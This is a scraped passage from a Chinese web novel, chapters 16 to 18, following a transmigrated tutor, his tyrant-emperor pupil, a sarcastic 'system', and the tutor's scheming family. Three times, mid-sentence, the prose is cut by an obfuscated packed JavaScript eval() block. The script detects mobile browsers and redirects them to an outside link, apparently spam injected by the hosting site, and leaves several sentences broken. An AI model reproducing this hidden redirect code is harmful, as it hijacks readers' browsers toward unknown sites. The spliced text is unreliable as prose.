顾衡之没有马上睁眼,他在试图纠正系统的三观。 “太傅?”萧子政又轻轻唤道,很简单的两个字,却被萧子政叫得那样深情,似乎能跨越时间,越过生死。 “怎么了,小暴君?”顾衡之仓皇睁眼,跟系统争吵的时候,他叫“小暴君”叫顺口了,当话说出口的时候,已经来不及了。 【我就说吧宿主,不要乱起外号。】顾衡之都快死了,系统还在放马后炮。 16.chapter16得偿所愿 前一秒还在思考怎么抱小暴君……呸,怎么抱萧子政的大腿呢,后一秒顾衡之就觉得自己要完蛋了,根本不用抢救了,还不如一开始就烂在顾府里,被刺客杀了得了。 顾衡之的脑子浑成一坨浆糊,面对如此死局,他真不知道能说什么才好。 别杀为师啊!小暴君!就算要杀,能不能不要砍成八块,一块就够了啊! 顾衡之的心里慌得很,但所幸他能够把慌张的情绪藏得很好,所以表面上看起来临危不乱,并且一点都不被萧子政的刻意摆出的威严吓唬到。 这样的态度放在萧子政眼里,就像是在说—— 要头一颗,要命一条,在顾衡之眼中,萧子政就是明摆着的暴君。 怒火在萧子政胸口泛滥,原本就因为肩上那朵不安稳的花朵而烦躁的心情愈演愈烈,他的拳头越握越紧,如果顾衡之不是太傅的话,可能已经死了一千八百回了。 但很快,萧子政的拳头松开了。 出乎顾衡之所料,萧子政并没有像在朝堂上那样马上大发雷霆。相反,他的眸子像是被顾衡之的话刺痛了一样,猛地缩了一下,接着表情又回归于帝王专属的高深莫测,让人看不清情绪,不由得胆寒。 看着萧子政刹那间的受伤眼神,顾衡之很难不在意。 就像是被自己至亲至爱之人用最恶意的话中伤了一般…… 尽管顾衡之并不是故意的,但还是有些…… …… 如果说,先前萧子政唤顾衡之太傅的时候,眉眼都被幸福时刻浸透,那么此时此刻,萧子政的表情就让顾衡之感觉努力白费,两人关系重新回到起点。 当然,如果萧子政没有死死抓着顾衡之的披风的话,可能他的表情会更加有说服力。 “呵呵,暴君,从太傅嘴里听到这个词,倒也不新鲜了。”萧子政冷笑道,“太傅倒不如说点新鲜的,毕竟整个东乾都在孤的掌握之下,背后有多少逆臣刁民在背地里叫孤暴君,早已被典狱司皇城属查了个干净。暗信足足有十二卷,孤还没有细看,不知太傅会不会出现在上头?” 什么!顾太傅,你真是不要命了啊!居然还有把柄抓在萧子政手上! 萧子政话音刚落,顾衡之就开始检讨自己穿越以来有没有在背地里说萧子政坏话。 【背地里说坏话倒是没有,咱们顾太傅行得正,从来都是明着说坏话的呢~】系统阴阳怪气道,在它眼中,要不是顾衡之硬犟着不肯当萧子政的皇后,才不会发生这样的失误。 “臣从未在背地里诋毁过陛下。”顾衡之笃定了原主不会在背后跟别人说萧子政坏话—— 那是肯定的,原主根本就没有朋友好伐?就算他想说萧子政坏话,也得有人说才行啊。 不管了,就这么说了!顾衡之豁出去了。 “太傅自是鲜少在背后搬弄是非,但如此这般当面冒犯孤,整个朝廷中,太傅也是独一份的了。”萧子政冷笑了一下,“顾太傅对东乾礼律如此了解,定是知晓,若不是孤睁一只眼,闭一只眼,太傅不知道已经死过多少回了,十个九族都不知道够不够孤诛的了!” 说实话,虽然萧子政表面上看着态度很吓人,但顾衡之怎么看怎么觉得小暴君是在嗔怪。而不是真的想要惩治顾衡之的大不敬。 顾衡之思考了一下,主动为萧子政排忧解难道:“若是九族不够让陛下解气,陛下想要诛衡之十族,只要是陛下的意思,臣无话可说。” 萧子政听出了顾衡之的阴阳怪气—— 十族?九族之内为至亲亲属,十族则上至老师,下至学生,若他想诛灭顾太傅的十族,就要先把他自己也给诛灭了。 萧子政气着气着,就气笑了。 不过,想到顾衡之虽然叫自己暴君,却也还认自己,萧子政没由来的就没有那么生气了。 萧子政裹了裹披风,继续说道:“太傅说孤是暴君,孤也不是不愿承认,只是“小暴君”中的小又是作何意味?” 萧子政说罢站了起来,看得顾衡之十分迷惑。 不过,就算不知道萧子政有想要干什么,但顾衡之好歹清楚在马车上不好好坐着会很危险,搞不好一不小心就跌倒,磕到碰到。 顾衡之小时候就被磕到过牙,知道那难受的滋味,他不想让萧子政难受,连忙起身,想要把萧子政按回座位上。 萧子政是习武之人,虽然不知为何会比顾衡之这个书生要矮上一些,但站在马车内,就显得马车十分逼仄了。即使萧子政低下头,后脑勺仍旧顶在马车顶上。 “陛下,您这是作什么,快坐下来,小心摔着了。”顾衡之见萧子政不肯坐回来,苦口婆心地说道,有那么一瞬间,顾衡之幻视自己的幼儿园老师。 然而,萧子政明显不把顾衡之的话放在心上,他不屑一笑,很有王者风范。 “太傅,孤不小了。您不必再讲孤当作什么都不懂,初来皇城的蛮夷小孩了。”萧子政却听不进去孤衡之的劝告,他的心思全在那句“小暴君”的“小”字上了。 还说自己不是“小”暴君呢,年二十了,这么幼稚! 就算不小,在他面前也是个小弟弟了。 顾衡之在心里笑道,表面上却仍旧眉头紧皱,是个对学生身体安全挂念的好老师。 顾衡之能够想象,萧子政这么站着,若是马车一个颠簸,,萧子政的脑袋就会装在车顶上,搞不好龙脑袋要撞个大包包。 也不知是不是顾衡之福至心灵。 萧子政龙脑袋上冒大包的场景刚刚才在他的心头飘过,马车还真就又不知道压到了什么凹凸不平的路障。 萧子政也有些错愕,他真不知道今日驾车的是哪个手生的宫人,若是放在平日里,两次如此人让车马如此距离日颠簸,已经足以要了那个人的脑袋! 但很快,萧子政的气儿就消了—— 顾衡之手上的动作比想象中还要快,见萧子政身体歪斜了,一下,他在心里大叫了一声‘不好’,接着连忙站了起来。 情况危急,顾衡之顾不得君臣有别,他甚至来不及想他抓到了萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“大人,您就别为难小的们了,陛下遣散六宫,半个侍妾都不曾有,好不容易才来的兴致,您让奴家们怎么好说。”领事太监低声道,他翘着兰花指,连忙把这位不知轻重想要坏陛下好事的史官大人推着走了。 “什么兴致不兴致的,里头不是顾太傅吗?”史官迷惑地说道。 领事太监推了把史官的胸膛:“正是顾太傅,不然你可见陛下跟别个儿共处一车?” 说罢,领事太监从衣袖里摸出了一方帕子,擦了擦眼角,自言自语道:“可怜见的我们陛下,终于得偿所愿了,奴还真是怕陛下憋坏了……”到时候又要奴才的脑袋。 太监后半句话没说,只求这位史官笔下留情。 “啊?”史官虽不想懂,此时却也懂了,但他只觉得这无根太监是瞎想,就算陛下不正,顾太傅也不可能是苟且之徒。 想来,顾太傅定是在教导陛下,耽误了时辰,才让这些不知好歹,内心腌臢的奴才们多想了。 史官在外头等了许久。 众人都一言不发,等到雪在肩膀上推了厚厚的一层了,他们都没有等到萧子政和顾衡之出来。 17.chapter17梳头 陛下和顾太傅在里头究竟是在做什么? 众人的心里都打了好几个问号,但是却没有人敢问,没有人敢惊扰陛下的雅兴,更没人有那个胆子敢偷听,他们都自觉地站得远远的,垂眉低目不敢探究。 当然,史官对顾衡之的人品还是很相信的。既然看不到萧子政和顾衡之是在马车里干什么,史官就如实写道: “陛下与太傅共处马车之中一时又半,不知所言,亦不知所为何事也。” 顾衡之要是知道马车外的人在怎么想他,真是要跳进淮河泗水都洗不清了。 不过,幸好顾衡之不知道,他的心情好得很呢。 就连系统见了顾衡之的战绩都则则称奇—— 短短一天的时间内,顾衡之居然又卖出了一件商品,还是那么诡异的商品。 这还是多亏了萧子政的诡异审美,不,是萧陛下的尊贵审美! 【尊贵个鬼啊。】就算顾衡之真的把玩具卖出去了,系统仍旧忍不住反驳—— 天呐,虽然宿主能把玩具卖出去确实让他十分开心,但是这并不意味着系统就不会对萧子政的怪异审美啧啧称奇。 顾衡之可能是萧子政唯一正常的审美点了。 系统真觉得顾衡之的运气无与伦比,但凡这玩具长得正常一点,都合不了萧子政的眼缘。 欸!就这么巧,王八看绿豆似的看对眼了,顾衡之愁卖不出去,萧子政就喜欢这么古怪的东西。 没错,顾衡之和萧子政能在马车里待那么久,全是因为顾衡之趁着机会把玩具推销给了萧子政,并且顾衡之还给萧子政示范了一阵这玩具该怎么玩,最后拿到了自己的酬劳。 至于顾衡之怎么做到的? 顾销冠只有一句话想说: 首先,你要有一个好哄的小暴君。 其实,在顾衡之抓住萧子政,护着他不让他摔倒,还让他坐大腿的时候,萧子政就已经不怎么生顾衡之叫他“小暴君”的气了。 所以,在顾衡之说“陛下恕罪”的时候,萧子政仰了仰下巴,一脸傲娇地给了顾衡之台阶下:“太傅可以说说要怎么给孤赔罪,孤满意的话,可以考虑少诛几族。” 说这句话的时候,萧子政仍旧没有从顾衡之身上下来。 反正萧子政也不是很重,相反,抱着萧子政反而给顾衡之一种诡异的安心感,干脆也继续抱着萧子政了。 怎么哄小暴君,这确实是一个问题。 光嘴甜还是不够的,嘴甜容易崩人设,顾衡之灵机一动,就想到了一个好主意—— “先前臣给陛下的陀螺,陛下研究得可尽兴?”顾衡之诱导道。 尽兴? 萧子政可不会告诉顾衡之,他现在还舍不得把这玩意儿借给典狱司的人研究,所以刑具还没有做出来。 “太傅是又有新的玩意了,打算拿来给孤赔罪?”萧子政一下子就看破了顾衡之的想法, 他挑了挑眉,却也没说是接受还是不愿意接受。 销冠成功第二要素—— 主动,主动宣传你的优点,尽管,你的商品十分丑陋。 “登登登!陛下请看!”顾衡之话音刚落,一个带有比格犬脑袋的竹蜻蜓就出现在了顾衡之手里。 “竹……蜻蜓?”萧子政也被这玩具的奇怪长相给震慑了,他不解地皱了皱眉头。 不等萧子政细看,顾衡之就舌绽莲花,他的话像是糖衣炮弹一样,络绎不绝地射向萧子政,把萧子政的思绪弄得乱乎乎的—— “陛下,这不仅仅是竹蜻蜓,这是可以定制,独为您量身定做的竹蜻蜓,上面的装饰,可以变换,您想有什么装饰,就可以有什么装饰。”顾衡之说罢,在心里默默地补充了一句—— 小暴君,你可有点良心,别把你的亲亲好太傅的脑袋安上去了。 推销一件商品,最好的方法就让商品带上特殊意味,这是顾销冠的第三个独门秘籍。 顾衡之继续说道: “陛下请看,只需要在竹蜻蜓上,写上所有的烦恼与哀思,然后轻轻转动手中的竹蜻蜓,就意味着烦恼直入天际,远去无踪,陛下要是讨厌衡之,还在生衡之的气,大可把责骂臣的话写在这玩意儿上。” 萧子政才不愿意呢。 本来萧子政确实考虑过雕个顾衡之出来给自己,然后再雕个自己出来给太傅,但是萧子政一听顾衡之解释,就觉得这样的意味实在不吉利—— 远去无踪? 太不吉利了,这不就意味着他跟太傅之间渐行渐远? 萧子政并不愿意看到这样的局面。 不过,有些人,萧子政确实不想见到。 礼部尚书,工部尚书,陈阁老,这一堆脑袋皱巴巴,整天想着怎么塞侍妾妃子给他的大臣,萧子政看着就烦,哦对,新添加一个,那个喝了太傅送过去的羹汤的齐书宝,还有,那什么翰林书院山长。 顾衡之并不知道,冥冥之中,剧情已经发生了变化,原本应该被萧子政爱慕的齐书宝,就这么华丽地登上了萧子政的暗杀名单。 有的时候,就连李将军和韩尚,萧子政看着都觉得腻味。 想到这儿,萧子政不由得又想到了刚刚顾衡之叫他小暴君的事情。 唯一看得顺眼的顾太傅,居然当着他的面,如此伤他的心。 “听起来不错,太傅有多少就给我多少吧。”萧子政大手一挥,直接把玩具商城里的库存暂且全买下了。 “不过,太傅又想孤拿什么来换?”终于到了萧子政有些期待的环节,萧子政的脸颊蒙上了层如同薄雾的浅红色,他的眼神变得有些不自然,虚虚地看向别处。 有了上一次交易,这一次的系统还没等顾衡之叫它,只待萧子政话音刚落,它就积极地开始了同用货币评估工作。 看着荧光屏上的loading字样,此时,顾衡之的内心只有一个想法—— 玉皇大帝,观音菩萨,雷公电母,求求您们了,千万不要又是亵衣这类让人尴尬的东西啊!他这一生,真是如履薄冰! 【叮咚!经过评估,萧子政此时最想要的东西是——】系统特意顿了顿,【恭喜您宿主,不是亵衣。】 顾衡之松了半口气。 【萧子政此时没有什么特别想要的东西,经过程序评估,这一切,都是因为宿主您抱着萧子政的缘故。】系统道。 “所以说?”顾衡之另外那半口气松不了了,他有种不祥的预感。 “你要做的,就是剥夺对萧子政的拥抱,也就是说,宿主您只要不抱萧子政就可以啦!是不是很简单?”系统站着说话不腰疼。 系统这么一说,顾衡之还真不舍得放手。 再说了,让坐得舒舒服服的小暴君从身下下来,哪儿有那么容易。 “太傅?”见顾衡之久久不回答,萧子政疑惑地眨了眨眼,“还是说太傅不愿意跟孤换了?” “当然不是!”顾衡之心虚地笑道,“陛下,马车都停下了,要是让外头的人看到陛下披头散发,怕是不好,不如臣替陛下梳头,绾发?” “哼,他们胆敢闯进来,都关进典狱司做苦力去。”萧子政冷哼了一声,不过他似乎是想到了什么,很快就改口了,“让外人看见确实不好,有损孤的威严,太傅替孤绾发吧。” 然后就这么水灵灵的,萧子政从顾衡之身上下来了。 顾衡之成功地掠夺了萧子政。 的拥抱。 “你就说掠夺没掠夺吧。”顾衡之内心的小人正在向系统跳示威舞。 【梳头去吧你!】系统伸出罪恶的小手,揪了揪顾衡之的头发。 顾衡之也不知自己为什么会知道梳子在马车里哪个暗格,反正听到萧子政同意,他的身体比脑子先一步做出反应,不知道从哪个暗格摸出了一把桃木梳子。 “陛下,臣开始了……可能会有些疼……” 顾衡之轻轻地挑起萧子政耳畔的碎发,不知怎的,他就是想从耳边的碎发先开始。 青丝被轻柔地挑起,果不其然,顾衡之看见了萧子政通红的耳朵。 失去了发丝的遮挡,萧子政也知道自己被顾衡之看了个干净。 哪个威严帝王会有羞得通红的耳朵? 正常臣子,见君王耳朵红了,哪里还敢看? 可顾衡之就看,他温柔地看着萧子政,几乎让萧子政快要溺死在眼神的海洋里…… 不,准确来说,如若是正常的臣子,根本就没有胆子帮萧子政这等看起来骇人的暴君束发。 梳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14534429|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子划过萧子政的发丝,顾衡之的手指碰触到了萧子政的耳朵尖。 马车内的光线不差,顾衡之能够看到萧子政耳朵上的绒毛好像因为触碰而颤了颤。 肉眼可见,萧子政紧张了,紧张到蜜红泛滥到脖子处,喉结不安地滚动着。 把后背露给他人,总归让萧子政有点不习惯,即便那人是顾衡之。 可萧子政就是忍住了,只是微微颤着,让人有种想要彻底揉碎的冲动。 顾衡之自认为手贱。 谁让小暴君先前说要诛他九族来着,他瞬间起了报复的心思。 明明可以避开萧子政的耳朵,顾衡之偏偏就不,他不止一次触碰到萧子政的耳廓,还是专门借着拿发带的功夫,偷偷把手伸到帘子处让寒风吹吹,就为了冰一冰萧子政的耳朵。 一次两次还好,直到顾衡之冰凉的手指,第三次扫过萧子政的耳垂时,萧子政哼了一声,他低声道:“太傅,别这样……太过了……” “陛下恕罪,臣的手可能比较凉,还劳烦陛下受着了。”顾衡之不知道说了多少次“恕罪”,可没有一次是知道悔改的。 顾衡之也不知道自己是怎么了—— 小暴君的耳垂让他想到了南方的那种小糍粑,软软的,就是不知道是不是甜口的。 顾衡之并不知道自己的这种突发兴起,对于一个沾染了他气息的重身之体有多么的恶劣。 光是压抑着肩膀上的痒意已经很不容易了,顾衡之却又几面夹击,弄得萧子政自顾不暇,眼睛都有些湿润了。 只是梳个头,萧子政就被弄得一身汗,他好热,热得想被顾衡之生吞活剥了去,才得以解除这副身躯给他带来的折磨。 …… 萧子政的发丝被顾衡之尽数笼在手里,最后绾在一起,绑上发带。 看着萧子政被自己捯饬得干干净净,像个好好念书的乖学生,顾衡之十分有成就感。 “陛下?臣,替陛下束好发了。”顾衡之凑到萧子政耳边,轻声道。 “嗯?”萧子政半晌才反应过来,他慌张点头,都不知道说什么好了。 萧子政被动的时候,顾衡之就有勇气主动出击了。 顾衡之终于说出了憋在心里的话—— “陛下,其实,臣叫您小暴君,并不是指责的意思。”顾衡之诚心诚意道,“只是觉得,陛下您有的时候,因为看起来就像不好惹的大老虎,但臣知道陛下不为人知的样子,在臣心里,陛下就像只小花猫,看小花猫装成大老虎,臣不得不觉得可爱,于是就忍不住这么叫了……” 其实,顾衡之就算不解释,其实也不打紧,可是萧子政那宛若小动物受伤的眼神蒙在顾衡之心头挥之不去。 顾衡之这么一说,萧子政的心情明显就好了,不过他还是嘴硬道:“太傅真是大胆,竟敢将孤……将孤与猫作比。” “是是是,臣有错,顽劣花猫,不及陛下半分。”顾衡之夸赞的话信手拈来,“陛下是小花龙。” 萧子政不说话了,一看就是不好意思的。 如此纯情,这么容易害羞,以后不知道会被哪个坏蛋拐走啊,真是让人担忧。 作为萧子政的老师,顾衡之看着萧子政这傻小子的反应,担忧地摇了摇头,可一想到萧子政刚刚的种种反应,顾衡之还是忍不住笑了。 …… 【好了顺利完成,恭喜宿主,目前有十二点生命值打入了您的生命存折中,不过,请宿注意,如若您不能成功将小暴君制定人物画像录入系统,竹蜻蜓将无法定制成功。】 系统道。 还要录入画像? 顾衡之感到无尽的疲惫,他耸了耸肩道:“行吧行吧。” * 顾衡之在宫中待了一整天,吃过晚饭,顾衡之才终于踏上了回顾府的路。 “太傅,外头风雪中,奴婢替太傅暖好了姜茶。”半天见不着顾衡之,完不成萧子恪交代的任务,剑兰连忙走了过去。 顾太傅,您可别不识好歹,若是再不服下这解药,小心毒发身亡! 在自以为别人看不见的角度,剑兰的表情格外阴狠。 【哟,宿主,您这婢女表情可真吓人。】 系统在顾衡之脑海中再次转播。 18.chapter18顾家 “这里面应该就是萧子恪定期给顾衡之的解药了吧。”顾衡之回忆了一下剧情,猜测道,要是在没有系统的情况下,他肯定飞跑着就抱着解药喝了,不过,他现在是生命值大户,一点都不慌张。 面对顾衡之的得意,系统忍不住泼冷水道:【宿主,你可别忘记了,生命值这个东西只是你存在在这个世界的基础条件,并不意味这您能够抵抗毒药的再次发作,当然,也不意味着您一定就能躲过小暴君的大卸八块。】 “小暴君我觉得不用担心,好哄得很。”顾衡之胸有成竹道,“这些大臣也真是的,活了这么多年,比我多吃多少盐啊,居然看不透小暴君柔软的里子,这家伙就是傲娇,多夸夸几句,心情就好了。” 那可不见得,那要看谁夸的。 系统看透了一切,忍不住腹诽道。 “太傅?”剑兰见顾衡之迟迟没有声响,厚着脸皮凑近了些,她真不知道如今的顾太傅是怎么了,变得如此不好惹,难不成,她的身份已经被顾太傅识破了? “先放着吧。”顾衡之端着一副面对其他人时的专属淡淡表情,看起来高深莫测,“剑兰,等我去看看父亲娘亲,过一会儿,我可有事情要向你讨教讨教。” 剑兰深吸了一口气,若不是想到世子殿下交代的任务,她真想把解药给倒掉—— 又不是她求着顾衡之喝药,不喝解药就会死,又不是她的命! 剑兰心里在想什么,顾衡之猜猜也能知道,但是并不在意,他自顾自地朝父母的屋里走去。 看着顾衡之渐行渐远的背影,剑兰捏紧了拳头,她真想把解药泼了。 可仔细想想,剑兰还是追了上去: md,她还真是求着顾衡之喝解药,要是他真的死了,世子殿下杀的就是她。 两个活爹! * 顾衡之的父母住在北面的正房,他们原本都是在湘南老老实实的白丁,顾衡之考上科举后当上了萧子政的太傅,等到萧子政登基,以陈阁老为首的大臣们便自作主张地把顾衡之的家里人接了过来,并给了原主父亲抄文使的职位。 他们把顾衡之父母接过来当官的时候,甚至都没有通知顾衡之,众大臣带着顾衡之的父母直接就来到翰林书院找顾衡之。 熙熙攘攘的街上,顾衡之刚刚从翰林书院出来,准备进宫向小暴君述职,迎面就撞上了自家的老父亲。 一开始,听说陈阁老他们把自己的父母接过来了,原主本来还很惊喜,一副父慈子孝的场面。 等听说陈阁老要给自己的父亲一官半职,原主并不同意,觉得这样是滥用职权,有违东乾律法,简直是有辱他的清誉。 原主好说歹说才说服陈阁老不能这样做。 可偏偏原主的爹可不这么觉得,硬要留下,甚至险些跟顾衡之在翰林书院门口吵起来。 当着那么多学生和过路人的面,顾衡之怎么能留下“不孝”的名声,于是原主的家里人,就这么过来了。 原主的父亲被封为抄文使。 抄文使,也就是在翰林书院里管古籍抄录的,这个职位说大也不大,说小也不小。 原主的父亲,大字不识几个,又怎的做得来这抄文使,做官的第一天,就拿萧成帝所著的《六籍》当厕纸,被陈阁老保下了。 做官第二天,原主父亲与杂役大打出手,又被陈阁老保下了。 …… 所以陈阁老的手上也有顾衡之的把柄。 虽然原主并不觉得有问题,但顾衡之总觉得事情实在是太巧,先不说原主父亲是怎么拿到锁在书库中,只有翰林书院山长,也就是庄夫子才能拿到的《六籍》的。 单单就每次陈阁老都恰巧出现,就足够引起顾衡之的怀疑了。 后来,还是顾衡之向萧子政请命,大义灭亲,把自己父亲调去了司农使,总算没出什么岔子。 这么件事,就成了顾衡之与家里人的一个疙瘩,每每见了顾衡之,他父亲就会提起这么一嘴,所以顾衡之与父母的关系并不好。 还有一件事,让顾衡之的父母提心吊胆。 入了京城,他们才发现,原来自己的儿子在家里一言不发,就只知道读书,上了朝堂居然这么猛! 京城里都传顾太傅谏言不断,顾衡之的父母,只觉得脑袋别在裤腰带上,对不起在湘南老家的亲戚们。 当然,假如他们知道在萧子恪的威胁下,顾衡之现在其实正冒充成杨太保和太后的私生子,不知道会作何想法。 顾衡之的父母跟京城中普通的小老百姓一样,知道萧子政是个暴君,再加上是萧子政把顾父给调动到司农使的,顾父自然对这样的君王感到怨恨。 顾父不止一次告诫顾衡之离萧子政远些,最好是让陈阁老他们帮忙,不要再做这个太傅。 可顾衡之就是不听。 想来,原主一定很痛苦,有的时候比起漠不关心,更致命的是亲人明明不懂还要来横插一脚。 顾父根本就没有看清楚朝廷中的局势,要是顾衡之从萧子政身边离开了,朝廷中难免有人觉得顾衡之是被萧子政厌弃了。 就算萧子政不下令,保不准就有些佞臣主动帮萧子政把顾衡之做掉了。 再说了,陈阁老和萧子恪也不是慈善家,等顾衡之失去了价值,陈阁老和萧子恪不落井下石,已经是谢天谢地了,更别说指望他们帮忙了。 说实话,前朝就如同后宫,前朝的臣子与后宫没有半分区别。得圣上心者得天下,在顾衡之看来,这句话的含金量还在上升。 什么忠臣奸臣,都是小暴君一句话的事情。 话说回来,顾衡之之所以来看望原主的父母,倒不是自己找不痛快,而是他想调查一件事。 他要查原主到底是怎么死的。 顾衡之穿越过来的时候,身体已经被修复好,系统已经被绑定,赖都赖不掉,只是后续发高烧了好几天。 本来,顾衡之并不在乎原主的过往,毕竟他只是想要活下去,只管赚取生命值就是了,但是,现在原主留下太多烂摊子,已经严重影响到他的以后的生命安全了。 他不能死,他死了的话,小暴君怎么办?岂不是被主角攻受这对有金手指的主角给糊弄死? 作为萧子政的老师,顾衡之觉得自己有责任帮助萧子政矫正过来,他还是有些舍不得萧子政被凌迟处死的。 小暴君身上那么多敏感的地方,若是用刀子一刀一刀地划,那得有多么疼啊…… 小暴君查春风楼,顾衡之并不打算什么都不做,他就从身边的人查起。 【宿主,你不回自己房间到这里来做什么?外面这么冷。】系统很夸张地打了几个喷嚏。 “没什么,就是问些事情。”顾衡之道。 * “咚咚。” 见顾衡之过来了,守在门口的小厮敲了敲顾父和顾母的房门。 “使长,太傅回来了!”小厮本来守在门外,都快要打瞌睡了,见顾衡之来了,忽然就精神起来了。 小厮之所以在家里也称呼顾父为“使长”,是因为顾父虽然对司农使这个职位并不是很满意,但是在家里仍旧要求下人们都称呼他为使长。 顾父和顾母并没有回答,房间里明明还有谈笑的声音,那小厮却说道:“太傅,使长估计是累了,要不太傅明日白天再过来……” “明日什么明日!”顾衡之厉声呵斥道,这声音把跟在后头的剑兰都吓了一跳。 她怎觉得顾太傅比先前更加不好惹了。“持宠而娇。”这四个大字突然蹦到了剑兰脑海里。 “太傅……” 见小厮还要狡辩找借口,顾衡之麻利地把萧子政送他的匕首亮了出来。 匕首的寒光在烛火的照耀下格外显眼,小厮颤颤巍巍地抬起头,只见那在他印象中只懂得舞文弄墨的太傅,竟用匕首指着他的眼睛。 月光之下,顾衡之的一举一动都像是镀上了一层光辉。些许散落的发丝再晚风的吹拂下在顾衡之的背后飘散起来,显得顾衡之就像是走火入魔得魔头。 一时间,小厮竟然从顾衡之的身上看出些当今圣上萧子政的影子。 小厮定睛一看,就算是小厮再眼拙,都看得出来这把匕首,是御赐之物,见匕首如见陛下! 小厮立刻就跪了下来。 见状,顾衡之不由得冷笑—— 原主就是太过于正直了,太在乎孝道。好歹也是个紫带子,竟然连一个朝堂都上不得的司农使都压不住。 就算是父亲又如何?孝道值得推崇,但是愚孝就跟吃人的老虎没有什么分别。 顾衡之无语得很。 “把顾仁之和顾慈也叫过来。”顾衡之对道。 顾仁之和顾慈是顾衡之的兄弟姐妹。 顾仁之是顾衡之的兄长,而顾慈是顾衡之的妹妹。 本来他们也都只是生活在湘南的平民百姓,只是现在也是跟着鸡犬升天了。 顾仁之比顾衡之年长,但是仍旧在家中赋闲。顾慈尚未出阁,如今待字闺中。 在顾衡之的脑海中,有对这两个兄弟姐妹的初步印象,顾仁之是个很会夸奖奉承父亲的啃老大户,顾慈则规规矩矩的,平日里在府上也会请教顾衡之一些学问,但是,就从他卧病在床,高热好几天都没有人来看望来说,顾衡之就知道,顾衡之在这个家里,顾衡之虽然位高权重,但是终归是孤独的,就像萧子政在朝堂之上,没有人能与之并立,没有人能看透萧子政的真正的面目…… 顾衡之话音刚落,里面突然传来一个青年男子的声音。 看来不用叫了,顾仁之正在里面呢。 既然小厮已经让开了,顾衡之也不惯着里面的人,他直接就推开了门。 房间内,跟外头简直不是一个温度。顾衡之总算知道原主的俸禄都用在哪里了。 看来是全烧掉了—— 烧成了银丝碳。 顾父一个司农使,哪里用得起银丝碳? 此时此刻,顾父正向他的好大儿吹嘘着今日他是如何耍得官威,举手投足之间,不知道的还以为他做的是多大的官,而不是这小小司农使。 “衡之,你怎么过来了?”顾衡之毕竟是顾母身上掉下来的一块肉,再加上顾母其实只是个软弱没有主见的人,一见顾衡之那个吓人的气势,她没有办法当做看不见。 顾母身为女人的第六感,让她的目光正好落在了顾衡之手里的匕首上。 但凡是能够被接到京城里来的人,就算是老百姓,每年都会由礼部专门组织,了解一些基本的礼仪。 所以就连顾母这般两耳不闻窗外事的人,都知道顾衡之手里拿的是什么。 几乎是下意识的,顾母“唰”地一下跪了下来。 “参加圣上!”顾母对这把匕首的反应,已经形成了条件反射。 圣上?那暴君? 顾父和正在听顾父吹嘘的顾仁之恍然抬起头,差点从太师椅上直接摔了下来。 在看到顾衡之身后只跟着剑兰这个婢女的时候,顾父先是松了一口气,但很快,他淡定的表情就从脸上消失了。 他看到了萧子政送给顾衡之用来充场面的匕首。 “你怎么会有……”顾父的脑子飞速运转,从这一刻开始,他忽然隐约意识到,外头的传闻似乎有些不对劲—— 不是都说他这个儿子在朝廷中不受暴君的待见吗?据说暴君多次大发雷霆,还说要诛他们家的九族。 这把匕首……难不成…… “二弟!你糊涂啊!”顾父还没哟铺说话呢,顾仁之就愁眉苦脸了,他指着匕首道,“这把匕首,看样子像是陛下御赐之物,你就算再怎么喜欢,也不能假造啊!” 假造! 顾父和顾母都愣住了,虽然他们知道自己的二儿子死板得很,不可能做出这样的事情,但比起相信萧子政把这把能够辨别忠奸的匕首,送给一个天天在朝廷上鸡蛋里挑骨头的太傅,顾父和顾母还是更加愿意相信顾衡之手上这把匕首是假造的。 “顾久还不赶快把东西藏起来!”顾父急得跺了跺脚,他是真恨不得马上把顾衡之手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“父亲母亲,大哥三妹,我今个儿是想问问你们,前几日我高热不下,你们是不是都忙得紧?”顾衡之说罢叹了一口气,像是被亲人的无情给伤到了似的。 顾衡之此话一出,顾慈和顾父都面露不解,顾仁之诚实地回答道:“你前几日高热不下?什么时候的事?太巧了我前几日也恰好感染风寒。” 顾仁之说罢,顾衡之在心里就把顾仁之给排除掉了,顾仁之看着并不像是装的。 顾衡之又真诚地看向顾母,他看得出来,顾母是这几个人里头最疼顾衡之的,只是因为顾父的缘故,所以不敢表现出来。 “衡之啊,你是为娘身上落下来的一块肉,为娘怎的会不疼你呢……”顾母说着说着看了眼顾父的脸色,见顾父没有阻拦的意思,算是默认了,顾母才接着说道,“衡之啊,那日为娘其实也给你煲了羹汤去,只是……” “娘……” 顾衡之低声道,他的眉眼一旦温柔下来,就很惹人怜惜。 “只是……”顾母没有继续说下去了,她只道,“唉,娘也是一时糊涂,一位你能照顾自己,当时仁之也烧着,不说这个了,衡之,仁之,慈儿,你们都先回房歇息去吧。” 既然顾母都说了这话当面说不得,顾衡之没有再作纠缠,他道了一声晚安,便和顾慈和顾仁之几个一起出去了。 恰巧,剑兰端着姜汤过来了,她迫不及待地凑到顾衡之跟前,顾衡之只道:“父亲母亲都歇息了,这姜汤就端到我房里去吧。” “哥,你脖子上挂着的链子好生别致。”顾慈看到了顾衡之脖子处的红绳,“这红绳的编法看着真不简单,看上去像是宫里才会有的龙丝编。” “龙丝编?”顾衡之不解地问道—— 这是萧子政给他的,红绳上串着的是玉做的哨子,只能吹一个音,可以驭使跟这个哨子吹出的音相对应的信鸽子。 萧子政说,如若他手不舒服不方便进攻宫,有什么想说的,可以托信鸽送过来。 